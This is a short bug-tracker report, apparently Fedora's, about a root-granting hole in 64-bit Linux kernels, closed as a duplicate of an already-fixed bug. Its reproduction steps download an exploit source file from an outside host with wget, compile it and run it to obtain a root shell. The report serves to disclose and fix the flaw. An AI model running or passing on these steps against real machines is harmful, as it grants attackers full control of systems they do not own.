Description of problem: See http://www.h-online.com/security/news/item/Hole-in-Linux-kernel-provides-root-rights-Update-1081317.html Version-Release number of selected component (if applicable): All recent 64-bit kernel releases How reproducible: Steps to Reproduce: 1. wget http://sota.gen.nz/compat2/robert_you_suck.c 2. gcc -o exploit robert_you_suck.c 3. ./exploit Actual results: You get a root shell Expected results: Should not get root shell Additional info:
*** This bug has been marked as a duplicate of bug 635642 ***
Again, a report about a security bug that's already fixed: https://admin.fedoraproject.org/updates/kernel-2.6.34.7-56.fc13 Does anyone look to see what kernels are in testing before reporting?